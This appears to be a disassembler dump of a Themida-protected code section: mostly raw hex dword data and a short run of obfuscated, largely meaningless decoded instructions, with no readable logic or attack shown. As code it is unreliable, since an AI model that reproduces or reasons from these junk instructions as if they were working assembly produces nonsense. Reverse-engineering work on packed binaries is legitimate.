		dd 0E836E594h, 18BE99C3h, 0DAE0C22Bh, 0DE476F9Eh, 9A925069h
		dd 843FEA11h, 757118D4h, 19FC3456h, 0DDA27B97h,	64126B11h
		dd 44A6E2Ah, 0CF5DCBC7h, 61A25769h, 0F44F30E1h,	8B3FB7A9h
		dd 0FE8h, 3B18EE00h, 2D533925h,	8045DCB4h, 82C1BE20h, 5E83BE66h
		dd 0B9858958h, 8107FA08h, 6B04C0h, 8DB58B00h, 6807FA32h
		dd 1A9Ah, 0C320B966h, 0D68B665Bh, 860F388Bh, 6,	98DB529h
		dd 0EF8107FAh, 7720737h, 3860Fh, 8B660000h, 0C2C781F3h
		dd 0F2AD5BCh, 18Ah, 0F781F900h,	70374B74h, 0A299D09h, 388907FAh
		dd 38E0Fh, 8B660000h, 0FBE881F7h, 2952F11Eh, 0FA1AA995h
		dd 0F7C08107h, 5052F11Eh, 867AE681h, 815E4030h,	1EBh, 99850F00h
		dd 89FFFFFFh, 0FA038985h, 8D8D07h, 6A080226h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 4181C353h, 8BB95A52h, 11A18589h, 8D8907FAh, 7FA27C1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6DC35141h
		dd 3B39FD1Fh, 79E9F754h, 51B58BA0h, 0C707FA0Ah,	0FA1C0185h
		dd 5DA007h, 359D8B00h, 0C707FA0Dh, 0FA1AED85h, 7, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0F43F9A28h, 8EEB8166h, 45B5FFABh, 6A07FA2Dh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 17D9C351h, 579785EAh, 7576B050h, 6D76B866h, 9E9h, 0F816A600h
		dd 0EAE15B28h, 95FF3A2Fh, 7FA177Dh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0D9C35040h,	0F98A617Eh, 0B8E0Fh
		dd 0F600000h, 83h, 0B4E88000h, 0BD295761h, 7FA09C5h, 0FF006A5Bh
		dd 0FA012D95h, 0EBC08B07h, 18C70B1Ah, 0D61F80EAh, 46B24BADh
		dd 0DFCA891h, 176C524Bh, 89EA13A7h, 0E8E8E129h,	0Ah, 4A7FC1C5h
		dd 0E1FD977Bh, 0E1809874h, 92B65F20h, 60DCC781h, 89510000h
		dd 0FA12F5BDh, 18B85907h, 8176E2BCh, 1D5BFDC0h,	0A99D8989h
		dd 8B07FA04h, 3860F37h,	66000000h, 0F681C88Bh, 1B250EBFh
		dd 0CD19D89h, 0F68107FAh, 308D1600h, 0BA5958Bh,	0F68107FAh
		dd 4743B28Bh, 0AE9h, 76F71B00h,	7D653C72h, 56E09465h, 78F55B2h
		dd 7E9h, 468A1B00h, 697FE39h, 304EF83h,	0FA02458Dh, 1E88307h
		dd 0FFA5850Fh, 0CF8BFFFFh, 3CE9h, 8A995200h, 1D8C934Eh
		dd 81E89DE6h, 64746E2Eh, 642E6C6Ch, 67006C6Ch, 3B2BD14h
		dd 0FEB980h, 7 dup(0)
		dd 0DA2E900h, 0BC680000h, 0E9080229h, 0FFF857DCh, 22B3F68h
		dd 57D2E908h, 0CD68FFF8h, 0E908022Ch, 0FFF857C8h, 22E7068h
		dd 57BEE908h, 3068FFF8h, 0E9080230h, 0FFF857B4h, 2321568h
		dd 57AAE908h, 30A0FFF8h, 0DCF6FA08h, 796DA28h, 0D8F9F50Dh
		dd 0C610F022h, 0E002D43Eh, 58AA5A74h, 8E84BC18h, 33DF6572h
		dd 947E804Bh, 0D4CBF7C5h, 2DC25BFCh, 0F4036757h, 0E3F1BA3Ah
		dd 7E3E3381h, 15079052h, 0E3616E12h, 0FF8821h, 79h, 6E963C20h
		dd 6E12F329h, 8922E262h, 1AD702FEh, 5E24B7AEh, 10C310CAh
		dd 0CF7848F4h, 0B84356B7h, 4B867225h, 442342A6h, 277CCA5Dh
		dd 44465D89h, 129FCA5Dh, 379BFFC1h, 0CA5D4428h,	466C963Fh
		dd 0C0800A7Dh, 0F1130D9Ch, 82BA1858h, 44415B15h, 0C29ECA5Dh
		dd 3A13F12Bh, 4DA22B4Dh, 0AD857F85h, 29619930h,	0E1F2E199h
		dd 0E5F18D31h, 0CDF9A55Fh, 0CA5D6AD6h, 6631A22Fh, 0AAFEDC36h
		dd 2B971913h, 0CA5E2434h, 318F448Dh, 56EB1DA1h,	0CBBC32DAh
		dd 9EDD1EDh, 0CA5D24DAh, 635FE5F1h, 804DAB4Fh, 0D0035A8Dh
		dd 0D81C24B0h, 72B0484Fh, 49D25835h, 299AA825h,	0D88D3787h
		dd 7CC82292h, 0E6919034h, 0D9EAC263h, 66A56AEh,	99353BC9h
		dd 0D7C0896Bh, 63E5FE21h, 90B21DC2h, 9E4B8874h,	63E62B3Ah
		dd 0A42F84C2h, 8467DE60h, 0EB8F2FC7h, 0AC395EE0h, 7CC50D2Dh
		dd 8FD67D23h, 7DEC2166h, 4F026FA3h, 0D902647Fh,	3562A59Ah
		dd 4F7C2h, 1ECAE600h, 0C2641F07h, 50445360h, 0FF5BE917h
		dd 4CC28D2h, 34F42575h,	9601D2F7h, 4692E674h, 566D46BEh
		dd 2BD9F65Ah, 70405C5Ch, 6E86BFEFh, 0D1A7F0DCh,	0D2577D3Fh
		dd 0EDF4E0BCh, 46C26351h, 90300A7Dh, 63523D64h,	0B60D96C2h
		dd 0C87C56FAh, 51E5FCE8h, 753EC263h, 95B95722h,	64ED073Dh
		dd 0FA93BD33h, 0C0108691h, 96DB8EE4h, 4D35624Fh, 20497F8Bh
		dd 8B1B79BEh, 38147838h, 582067A1h, 62E9C0Ah, 0B86CFDFh
		dd 83A0B75Bh, 2B9E2614h, 0E4EF7E0Bh, 126E5281h,	0EAC341FBh
		dd 5733DF9Dh, 3A83746Bh, 9304CDF6h, 29CDE96Fh, 0F63A82FAh
		dd 6B557E53h, 763AC40Fh, 3A835352h, 7017ACF6h, 53E4ECD0h
		dd 602C1288h, 0A7BE2A86h, 0F63B0Bh, 690CE4B3h, 18FE3945h
		dd 1E699B34h, 0F7E07C24h, 0D1849B4Dh, 0D4DDEE3Ch, 0F9DDC1FFh
		dd 0EE3CD0EAh, 8CB61B43h, 0C705037h, 0E72740C1h, 0CEF60ECAh
		dd 522ED43Ch, 0AA8381BBh, 2945E919h, 6F4193A9h,	491F689Dh
		dd 2BA6D2C5h, 819C361Ah, 0D9D7C45Fh, 3D0DF6EDh,	51824FEEh
		dd 0D5E0A260h, 0A4D1339Ah, 0A1Ah, 7C86BE16h, 5CA65E74h
		dd 778B8514h, 72A05A77h, 4EC4408Eh, 0D8F65E88h,	3E9AD62Ch
		dd 0DBF4FC06h, 3A95D929h, 714FFA08h, 5BFB5E85h,	0DD9DB7C2h
		dd 0F7FD07D2h, 8F3353E5h, 0CA5E2490h, 0C5EBD8E9h, 4E7EBDFDh
		dd 0F3A4C6B2h, 52596945h, 188D1B01h, 3ABA4A86h,	0BB356271h
		dd 0D2573B05h, 0E61EB49Ch, 328E450Eh, 5282824Eh, 0C937835Ch
		dd 50BACDBEh, 74A26070h, 1A455259h, 96AED06Dh, 0AAFF370Eh
		dd 2D5ACC30h, 7F638355h, 0C2637660h, 0D5DBE8B9h, 0E361F2CDh
		dd 7E028B46h, 0D9E7B054h, 615EEDB5h, 51EDFD0Fh,	2D20B246h
		dd 129FCA5Eh, 0BFE612AEh, 18BA6A01h, 9F7DFC8Bh,	0A9EE10BBh
		dd 7BB67CFh, 0F409053h,	0D4A206FCh, 29389C24h, 8221CC79h
		dd 96246631h, 0A8EB4596h, 0D30080DAh, 0C826E5EDh, 0AA7259E7h
		dd 57F01428h, 811D1B6Ch, 4453F1DDh, 0C6D076ACh,	0A72F4B29h
		dd 0C9CE579Dh, 0C67C55F9h, 922EA52Eh, 1B65DFEEh, 81FB8CB6h
		dd 0F4110D95h, 463FCC82h, 0EF98AC2Ah, 0BD293D1Bh, 19D302A6h
		dd 0CEB2FFh, 9C270004h,	3D05B014h, 98B421D1h, 51ED0701h
		dd 0D4C87EA5h, 0F9CAD711h, 2CCB48Eh, 0A71C26AFh, 714F844Dh
		dd 9FF3E661h, 0A4F364BFh, 0CDA8F894h, 8F6FF4B1h, 5396B70Dh
		dd 0F194A59Bh, 0C67F5AA6h, 37DC39D9h, 44CE05C6h, 785C913Ch
		dd 11D51169h, 0CFE2F1C2h, 773DDD03h, 978572D2h,	93000008h
		dd 0EF0F033Dh, 0C5A959E3h, 0EA06FC36h, 0BFBF53E9h, 2F15ED17h
		dd 83814D07h, 0DB656F8Fh, 748E4727h, 0CD77629Eh, 0CA2E9235h
		dd 0C25BF99Bh, 0D28292F4h, 770CFE07h, 0A03D7F9Fh, 5D492D34h
		dd 863D86CAh, 0AB17733Dh, 0CA5D49B4h, 0D8FCC40Dh, 0CA5D48C9h
		dd 7E069122h, 5EC512A2h, 0E301AD20h, 93FFFAF1h,	7B0C2EB0h
		dd 7D55B187h, 172DA9C7h, 417F54DDh, 8E95415Dh, 0E7CA5D7Ch
		dd 7C170EDAh, 6370CA5Dh, 44288434h, 0B0797BB5h,	950311E7h
		dd 1478D257h, 6363B1B0h, 0CEB90AC2h, 0E776E0F4h, 35AA582Dh
		dd 0C58E669Ch, 0B3FBC50Eh, 0BF6F6852h, 0C64453AAh, 3BD226B4h
		dd 992A0301h, 659F3317h, 90FC079Fh, 4B979361h, 8D310F78h
		dd 995BE1F1h, 0AFF18710h, 8CCA65EAh, 55CE5F0h, 0FBD1D461h
		dd 0C77324AFh, 0C8EEB6FAh, 72557B4Bh, 0A60AB6E1h, 0E8F80DCAh
		dd 0E6636F3Ch, 0E4CCF7h, 0BA613DE1h, 0E21E693Ah, 978E3AF7h
		dd 0F0BA613Eh, 0ECD0F0E3h, 613DD908h, 0F6A132BAh, 0C779549Ch
		dd 0A54A85E9h, 613E2241h, 9D267BBAh, 93B46E27h,	691AB35h
		dd 0D812A27Eh, 0A36533A1h, 0DA5B8A6Eh, 1FB4BA61h, 199FE3B4h
		dd 0D9CAD9FDh, 3B23BA61h, 6C576C96h, 82AF2844h,	61DA4F56h
		dd 0A81BA8BAh, 2414834Ch, 48D5E488h, 61DA859Ch,	0FED5DEBAh
		dd 0B7AE1A06h, 10BA61DAh, 0D0C410C3h, 68D9CF7Eh, 0B816DAADh
		dd 0BFC25B92h, 0C4A9BFF2h, 0D42CD6ABh, 709A7h, 35CF0500h
		dd 0B31A1DDh, 26E0F7F7h, 53F94DCh, 5FE5F10Dh, 530121B3h
		dd 3539C97Bh, 5599699Bh, 3838CA78h, 28AF639Dh, 0F8313094h
		dd 0EC8AC25Bh, 0FD07D228h, 1B7F1BF7h, 5E24A8B7h, 48B001CAh
		dd 0CA5E2419h, 0A2AC2384h, 8AA9C70h, 24B6CCBBh,	0FC1E004h
		dd 891ACA5Eh, 10A4BB27h, 0B4FDCA5Eh, 12BDA11Fh,	0FEAF9DDh
		dd 6E43CA5Eh, 81069F65h, 537FDBBFh, 3E824BA9h, 5E108B9Ah
		dd 0C8CFE4CAh, 582F3A30h, 0B71B7FD2h, 0C263F1A8h, 0E410B001h
		dd 0C263F0BDh, 40FA8D16h, 0F16D7460h, 0FDC6C263h, 59333CC6h
		dd 55000003h, 0EA29E2F9h, 17771346h, 859700D3h,	0AAB0C212h
		dd 67683BABh, 24202520h, 25728A48h, 724E5BDDh, 4C40C50Eh
		dd 9C9B43FBh, 5D5B2C97h, 948E1D41h, 299D770h, 3463EC08h
		dd 57AF12BCh, 0DCEB8FD2h, 953EF80Fh, 456B3802h,	592A829h
		dd 7B0DD074h, 0E4ECB7A0h, 0FB4A0B8Bh, 0D0B2E5ECh, 0DB0AEE0Ah
		dd 34CD26C2h, 0F08C349Fh, 8D2B5CE4h, 20E1C369h,	6E6408D5h
		dd 2951ED6h, 2FBA1838h,	0CF589CA6h, 0E1F1CF04h,	0BEEF4F36h
		dd 0B74552B2h, 0AA0613A5h, 8FF80CC6h, 45B10DB1h, 0C52C701Eh
		dd 0C79A2A77h, 0AC412DEh, 34FF791Eh, 0E3CD2B4Dh, 50B44E87h
		dd 0A1321077h, 6F913B1Fh, 263DA995h, 7FBD2ED8h,	4AF6A132h
		dd 33C90A66h, 34B91464h, 535D669Eh, 29543C4Bh, 91F6D5CEh
		dd 753D01h, 3A698D82h, 93BD2EDEh, 0B47B963Eh, 3CEAADDh
		dd 0AF2420AEh, 0E3F9E202h, 6491F3CBh, 566h, 38CA7262h
		dd 0B0629A38h, 13FF39D0h, 0A65CE6EBh, 0AF80CCAh, 9C3A1A3Ch
		dd 7A569A68h, 9F3838CAh, 6D1AD65h, 7D4306FCh, 5BF64A59h
		dd 0B1C1A3C2h, 1EFE07D2h, 98D3B141h, 0B4D8D8EBh, 5D3A1110h
		dd 0AD5A6ACAh, 0DAA57875h, 95EF982Bh, 0F90BC5A9h, 1D6532FBh
		dd 48577B9Bh, 0A1CA5D3Bh, 0A1FDC310h, 76C81D11h, 3946AF2h
		dd 577CD76Dh, 0A4506CD2h, 0C2636E7Dh, 0BACDD6h,	6E2D34A0h
		dd 3D86C263h
		dd 62862A86h, 0C2636E43h, 1280079Ch, 17331133h,	0BE2A8680h
		dd 0C2636EA7h, 9EE4B300h, 58AE101Ch, 86C20505h,	8153BED1h
		dd 5F7443FCh, 2ED4FD61h, 0E7FEEAD6h, 40C26331h,	89376073h
		dd 465D8925h, 9FC26332h, 61EB8512h, 0DECA5D47h,	0DBAF5682h
		dd 8EABF036h, 0D9729241h, 5D6C14AEh, 3B8821E3h,	44FED975h
		dd 966E963Ch, 912FCABDh, 505D5741h, 0D8BF5BE9h,	4A7CE420h
		dd 852D7549h, 113FB6B7h, 8CB61F61h, 293107FBh, 41A52E90h
		dd 2B862922h, 0F79E267Bh, 367A498Eh, 2DE7F65Ah,	8418965Ah
		dd 15D3380h, 84512FD5h,	0DAAD867Eh, 0AC5480E0h,	0FAFA0AC4h
		dd 421EA231h, 679371ABh, 98FFD46Eh, 0F58050ECh,	833B6C92h
		dd 50F3F2D6h, 774C238Ch, 6180644Ch, 0BA238C51h,	0CE6C9EE9h
		dd 4EA65E7Ah, 3FA2BC86h, 3A89CE95h, 3B832789h, 0FA784A6Bh
		dd 0D50080CEh, 0E1945C2Bh, 922B8ABFh, 0F1DB7F41h, 4B89983Ch
		dd 0D1E21B8Eh, 5E290202h, 0EF763E62h, 0DC139282h, 0F3DE1A6Dh
		dd 0A132D2FEh, 72AC3B1Fh, 0E5C96525h, 3EB64C89h, 9A5C8375h
		dd 0ECB51B8Eh, 0D0725D9Bh, 8453FBE1h, 5D7ADA6Dh, 3A6h
		dd 0F80A32A2h, 0F022DAF8h, 0D33FF910h, 0E61C26ABh, 0CA38CC0Ah
		dd 5C7ADAFCh, 0BA165AA8h, 5F78788Ah, 46916DA5h,	3D8346BCh
		dd 5BF48A99h, 7181E3C2h, 0E1636E12h, 0E20FCAB6h, 5E23EFF6h
		dd 21125ACAh, 0AA94DADDh, 0D66E6808h, 953E951Eh, 7A844F2Bh
		dd 1EE6B17Ah, 4FF5DE82h, 60784248h, 5DF46D74h, 0C6FDC6CAh
		dd 0B94B86EAh, 1325723Bh, 25CE2777h, 8BB3EEF3h,	93417FD5h
		dd 0C1C6486Ah, 57611937h, 6468ED2h, 34B20942h, 4CD6D1Ah
		dd 0C34A0BCh, 9F2F0F7Bh, 85ECBEB7h, 306433DBh, 0E2626E12h
		dd 0EB0BCDB5h, 5E23D807h, 33A031CAh, 60DAF18Dh,	9D258937h
		dd 97672816h, 32893BB0h, 3CEF9B43h, 44A44C3Bh, 0DD25FEAh
		dd 5FE04C5h, 376048E0h,	6E9B238Bh, 0E6A1BB22h, 0C8243BADh
		dd 0AC3BC25Bh, 50835072h, 84704C70h, 0C25BC85Dh, 9A95B74h
		dd 26B1CFB8h, 0B66B909h, 0ACF0186Fh, 5BB6253Ch,	9E357EC2h
		dd 4B5A7E22h, 0A4C25BB6h, 260A880Fh, 0DE84DF9Eh, 0D5854FF5h
		dd 36425569h, 0E9926A9Bh, 3522253Dh, 4292229Eh,	72884962h
		dd 89A1CF62h, 0F69A86FEh, 5B7DD3D2h, 0F0972CC2h, 0BC28401Ah
		dd 0C25B7EA5h, 0A21EB5FEh, 2F36A2FEh, 46C25B7Eh, 6C357DB7h
		dd 6235CF04h, 5DA54C8Eh, 715539CAh, 0BA595872h,	0B191F6CBh
		dd 40002CDh, 3418982Bh,	0C48D6799h, 4E89E5D3h, 582E35A1h
		dd 3A87BA59h, 5F832789h, 0BA595840h, 6BBC0899h,	85DD7A9Bh
		dd 8E722067h, 0E612AE43h, 0BA59ABBFh, 465D8B18h, 9FBA59ACh
		dd 5BFFC112h, 42BACD77h, 0D9324E56h, 0E9B1BC25h, 599FE6FDh
		dd 61723FBAh, 32865436h, 88289BA1h, 53BBD65Ch, 0ABC50DC2h
		dd 6DA7AC50h, 0E0E4FDD6h, 0AD168760h, 50A78B16h, 0D62ED6B3h
		dd 1C1A9h, 0ED17BD00h, 43F9D915h, 1E18AFCFh, 3DC70CF4h
		dd 172DA9C5h, 1B3959EBh, 7D8191B3h, 1D61B153h, 808092B0h
		dd 7057AB55h, 0F279A84Ch, 0B4D2C25Bh, 646E12E0h, 0FC8B24E0h
		dd 0B0143406h, 0CA5E24B1h, 0DC68660Ah, 8F448F18h, 83814D31h
		dd 0E1DFA881h, 1422F5BDh, 9DF0DC3h, 4C9CFA7Eh, 2D91D25Fh
		dd 5AFF9AC9h, 0B9DEF3C2h, 94F8B809h, 5AFF3130h,	4E398AC2h
		dd 1EA60AB6h, 0D7DAA287h, 4857A12Fh, 0A1C25AFFh, 5E798710h
		dd 0F67A8051h, 0FFC82CD8h, 32823ED4h, 0BA0FFFF4h, 77890E07h
		dd 69864F5Ch, 5A90667Dh, 0E1F2BFC2h, 609A3723h,	3C606073h
		dd 6A8AB220h, 900817E1h, 5061C25Ah, 0D1E1BD47h,	1CDA5301h
		dd 0D7A1E6CBh, 8E2EC13h, 0ED073994h, 0C53FC511h, 0EA678201h
		dd 106C50F0h, 0ABBA3EC6h, 47BD193h, 0DEFDE8AFh,	8F96425Eh
		dd 0E87BD193h, 1CCACDBh, 28B2B100h, 8F489075h, 4B755E75h
		dd 0BCE63F83h, 0A32F2474h, 1D25B99h, 0D9F4FC96h, 7AA25328h
		dd 8053EAC9h, 8DB71C40h, 0F827CB67h, 517BD1C4h,	0B8445380h
		dd 0A95380DCh, 0B31A2DEh, 0F40EC9A5h, 0B4503710h, 14A30EC8h
		dd 8251DA1Ah, 0C77D5682h, 0B128BB2Dh, 89844A4h,	742FFFC8h
		dd 66FF88DEh, 0EBD7B383h, 7BD180F4h, 0E513844Dh, 7B3E59EAh
		dd 0E01F7C07h, 3B1F1FF3h, 0D8286F91h, 46E3F0FDh, 0D1A683A2h
		dd 0FCC7DC7Bh, 1CA42FF8h, 856D9440h, 3C2836DDh,	5F7B794Ah
		dd 9205CE48h, 9B324EEAh, 49F3DFA1h, 827522ABh, 22h, 0F60ECAA6h
		dd 326235FEh, 1B4AAE12h, 74CA5E24h, 3A9385Fh, 7CFE6FBBh
		dd 0BA1501DAh, 0F0E36C88h, 2D275A7h, 0F3DEFAFAh, 0EC7B351h
		dd 0E8E410F4h, 16C09C58h, 0ECEA16EEh, 13C09C58h, 0D8EF0BE9h
		dd 18BAA65Eh, 507220E4h, 405E089h, 2D000000h, 4, 5C240487h
		dd 52242C89h, 0C281E289h, 4, 8704EA83h,	895C2414h, 4D682414h
		dd 89000008h, 68562434h, 2C2938A3h, 81DEF75Eh, 0A1DB13F6h
		dd 5EF289EDh, 42D2F74Ah, 72CDF281h, 814A4291h, 1BB64FF2h
		dd 348B548Bh, 4C48124h,	51000000h, 89D38953h, 4E895BD9h
		dd 348B5908h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 24148B5Ch, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0F84A4FE9h
		dd 970F71FFh, 0B36C0EE1h, 0E9C9825Bh, 233FBB8h,	0FFC50308h
		dd 0E805BE0h, 198DE766h, 0C872FC44h, 756FC206h,	8384BB1Dh
		dd 0EF7EF45Eh, 4A03542h, 984AF200h, 0E6E72848h,	0A9C47562h
		dd 0CFB70Ah, 2445BB01h,	0E821AB41h, 494F1527h, 0B02B731Eh
		dd 5007B50Bh, 4A516900h, 0C1A97D6Ch, 36D14125h,	3AEAB66Fh
		dd 1068F30Fh, 44D0E216h, 0DD34C67h, 820E9358h, 6E9D8F7Ch
		dd 62B0365Fh, 9EC9D247h, 5238572Ch, 407BA50Dh, 3A474F5Eh
		dd 5DD5131Fh, 0AE80Bh, 0C5290000h, 33086C3Dh, 84110C41h
		dd 0FF57CE81h, 665B3C9Eh, 81A162BEh, 6AAAC3h, 0B86EB100h
		dd 0
		dd 37D98150h, 59329BCFh, 0F03148Bh, 181h, 0EA81F900h, 7849152h
		dd 48A0Fh, 0BE660000h, 0EA817172h, 3F75EB1h, 28B0Fh, 0F88B0000h
		dd 0BC10EA81h, 0E9521569h, 0Bh,	32EE44DAh, 0CFC135BDh
		dd 8F9D2AADh, 870F0304h, 6, 8A0Fh, 0EB10000h, 9935E881h
		dd 0C0815C3Ah, 5C3A9931h, 960CF881h, 850FFFFFh,	17h, 22E9F9h
		dd 0D04F0000h, 0D6D084CBh, 7129B928h, 190BF134h, 669E91C4h
		dd 0E9BFFCBEh, 0FFFFFF78h, 9C5ECE1Dh, 9899854Ch, 1FE9h
		dd 426F9F00h, 5Dh, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_625B50
; ---------------------------------------------------------------------------
		push	8023868h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8023945h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8023C71h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		scasd
		and	[edi], edx
		jmp	short loc_62512F
; ---------------------------------------------------------------------------
		db 0CFh, 35h, 0DDh
; ---------------------------------------------------------------------------


loc_62512F:				; CODE XREF: Themida_:0062512Aj
		mov	eax, ds:0FE02100Ah
		aad	2Fh
		jecxz	short near ptr dword_625048+8Bh
		xor	edx, [ecx]
		add	[ebx+33h], edx
		and	[ebp+517B838Fh], esi ; CODE XREF: Themida_:loc_62516Fj
		scasd
		arpl	[ebx], bx
		mov	dl, 90h
		cmp	byte ptr [esi+53h], 0B1h
		popa
		jbe	short loc_625199
		sahf
		xchg	ebp, esi
		pop	ebx
		retn	86E0h		; CODE XREF: Themida_:loc_625199j
; ---------------------------------------------------------------------------
		dw 0B69Ah
; ---------------------------------------------------------------------------
		sbb	ebp, ecx
		sahf
		jle	short loc_62516F
		retn	853Fh
; ---------------------------------------------------------------------------
		dd 792B6F3Ah, 61E4F20Eh, 807F31C6h
		db 0E4h, 0F4h, 0DFh
; ---------------------------------------------------------------------------


loc_62516F:				; CODE XREF: Themida_:0062515Bj
		loope	near ptr loc_62513D+5
		xlat
		dec	eax
		pop	esp
		dec	ebp
		sal	dword ptr [ecx], cl
		cwde
		sub	al, 0F4h
		in	eax, 22h
		jnz	short near ptr locret_625184+1
		sub	ecx, [edi+5DB63C63h]

locret_625184:				; CODE XREF: Themida_:0062517Cj
		retf	0C95h
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4FB6CDAFh, 0DA26719Eh, 5CE0F2FFh, 0FCC40F98h
; ---------------------------------------------------------------------------
		pusha


loc_625199:				; CODE XREF: Themida_:0062514Dj
		ja	short near ptr locret_625153+2
		push	cs
		pop	ss
		mov	ds:6370CA5Dh, al
		jo	short near ptr loc_6251CA+1
		imul	eax, ebx, -5
		adc	al, 0E2h
		mov	eax, ds:821577DDh
		cmp	byte ptr [edx+34D0745Eh], 9Bh
		sub	[eax+24409C24h], cl
		pop	dword ptr [edi+3A95DB3Bh]
		or	[edi-7], bh
		dec	edi
		mov	[edi-2Eh], dl
		fcom	st(4)


loc_6251CA:				; CODE XREF: Themida_:006251A2j
		fmul	st, st(7)
		mov	bh, 29h
		inc	ecx
		db	2Eh
		push	0BC2A9AD9h
		sbb	al, 93h
		add	al, 0Ah
		jmp	far ptr	0C143h:0C10E7261h
; ---------------------------------------------------------------------------
		dd 0BBA39FE8h, 3A13F113h, 0F1535276h, 17ACC262h, 3CA804ACh
		dd 0C262F125h, 874B357Eh, 0E9AE777Dh, 0F6DB7F1Bh, 0AAB53B4Ch
		dd 0C9C262F1h, 0E1FDF70Dh, 29E3FAF7h, 33D102CBh, 47B732B1h
		dd 0BA93718Bh, 2D51ED09h, 0B561A3A1h, 62F11211h, 6D566BC2h
		dd 65A8431Ah, 26EB6F4h,	69007h,	61852900h, 0C262E542h
		dd 0EFBE069Bh, 6EC202F4h, 12494B3Ch, 0CFFAD4C2h, 42D1A6FCh
		dd 0F7F01B5Fh, 4500873Ch, 0F8C60E7Ah, 8EF8FBDDh, 69EF1384h
		dd 0AE7AA94Dh, 0FED3CA5Dh, 478FEBD5h, 0D2EECABDh, 0ADDB0AEEh
		dd 4C34CA5Dh, 42557E86h, 57C424AEh, 14BDA1D2h, 98E8F7DBh
		dd 7041C263h, 7F08A163h, 5A50EFC3h, 0EE9281E5h,	607360E4h
		dd 8A735060h, 0DA92F04Ah, 4C704CADh, 641D79A8h,	9601D2C2h
		dd 0C98338E2h, 0CC9A5BFh, 0DF7991F6h, 0B87CEBDBh, 745FF459h
		dd 704C704Ch, 0FE565D84h, 0FBEDB6C4h, 0C4FE55E4h, 4D23743Dh
		dd 0CCF8687Bh, 5BD5E488h, 0C6328E2Ch, 0BD04449Fh, 0DC18ABF8h
		dd 0A2157040h, 2B65FDACh, 8794265Ch, 798B4529h,	0F28E320Eh
		dd 0BA460E4h, 837CF47Ch, 0EDB5C4FEh, 0C6EAA239h, 1B277035h
		dd 0EA862A86h, 139C58ECh, 0A8597484h, 7D023ADBh, 0E4CCF787h
		dd 3EB64E88h, 834EE076h, 627104F5h, 2958F1Eh, 0DB18A888h
		dd 0D33B227Ch, 0FBD62275h, 16939236h, 0D8ECB50Ah, 0E966F59Fh
		dd 0AB18ABCAh, 8C5F5F6h, 5380E0D4h, 71Eh, 40D26A6Ah, 986A9240h
		dd 3BC74158h, 0AE649E33h, 120004D2h, 0A4322244h, 428E72A0h
		dd 0A73050C2h, 4E89659Dh, 457B5EB4h, 5BEC82A1h,	7979DBC2h
		dd 2CAAFEDCh, 8053DC18h, 0F7427040h, 0DA7712D9h, 99E70BADh
		dd 2ED25FB7h, 867E8652h, 0D2BB17ADh, 1C88A600h,	0BE02CF6Bh
		dd 0EAEFF6E2h, 7C48C25Bh, 0E24D10BEh, 9601D2DBh, 6C6A06AAh
		dd 8711BED9h, 0ECD71B73h, 0C0715D9Bh, 5BA50D14h, 0F30A66C2h
		dd 77398A39h, 5245FFD3h, 3094F8B8h, 0C25BA531h,	324E398Ah
		dd 83814DA4h, 951BA881h, 0A4D6CDF9h, 0A22FC25Bh, 23AB87F5h
		dd 44DF28A2h, 0E98FF8C7h, 0C25B39B5h, 574E7A16h, 0AEC25B3Ah
		dd 5B3A1B4Ah, 635F74C2h, 9C37494Eh, 0E1EBF80Fh,	0B790745Fh
		dd 28CE950Ch, 0AD07C6B7h, 641D0h, 0BD478D00h, 93A92945h
		dd 0AE687F7Fh, 8DB71C64h, 0A75D7975h, 0B49695Bh, 0ADD141C3h
		dd 0DF12123h, 0B0D042C0h, 60E71B25h, 0EB69785Ch, 0A4C2C25Bh
		dd 4AAE12D0h, 0CA5E241Bh, 0B7215F74h, 3208FA8Dh, 9D378729h
		dd 2503A27Ch, 526E4A3Dh, 63A1A32Eh, 2EA55F77h, 71718F69h
		dd 0A808D25Fh, 69462218h, 33C5B41Dh, 0C25AE22Ch, 29873C85h
		dd 7E768C45h, 7E1AE2B5h, 0D1FECBE2h, 81F7A033h,	0C25AE25Eh
		dd 379B547Dh, 0C25AE228h, 61A33081h, 4AAA5875h,	7FCC0F96h
		dd 1D1DBC87h, 0A74B3181h, 4BD88D64h, 5A3D869Dh,	0C5D2DFC2h
		dd 966691C0h, 1BC7E30Dh, 0C25A3504h, 3290B21Bh,	353B6A8Eh
		dd 3F94C25Ah, 62E2EC94h, 17E09A2h, 3B9h, 48577B1Fh, 0A1C25A35h
		dd 12958710h, 241B4AAEh, 5F74CA5Eh, 208D4838h, 7A368DB7h
		dd 0AB49FBD6h, 0EB077522h, 982F4BE0h, 244B5A9Eh, 0FA4CA5Eh
		dd 34A0FCC4h, 0CA5E242Dh, 0C04A3D86h, 3D98F0CAh, 9B280103h
		dd 659F3915h, 10628632h, 0CFD2583Bh, 0AB1923AFh, 7D12C7E5h
		dd 0C4ECD726h, 0DE162EA8h, 58876B55h, 0B1C26379h, 310D7720h
		dd 793A698Dh, 0EB93C263h, 22755EE0h, 6379534Eh,	0DD6772C2h
		dd 6D973B17h, 0C01BC287h, 0A7C37393h, 0DF86112Bh, 74603CFCh
		dd 0C263796Dh, 0D41EFEC6h, 989080B1h, 38295C2Bh, 0CB026FF9h
		dd 6Eh,	0BD4791EDh, 0F3296E37h,	0E4606E12h, 8DA2F6F0h
		dd 0FF888B18h, 842C2D0Bh, 58247260h, 0CB0367D2h, 1B01103Ah
		dd 972CA2E0h, 0F7C3D45Dh, 0FC47E57h, 6A7949F5h,	4FE7F362h
		dd 415C1483h, 60C26409h, 4935CF49h, 0CC90748Eh,	3DB99655h
		dd 2ED4FD61h, 0DA1197A6h, 0B7E0B216h, 438BAB2Eh, 0F71FE522h
		dd 295C2B93h, 26FA038h,	1AECBh,	0C212C900h, 33F322F8h
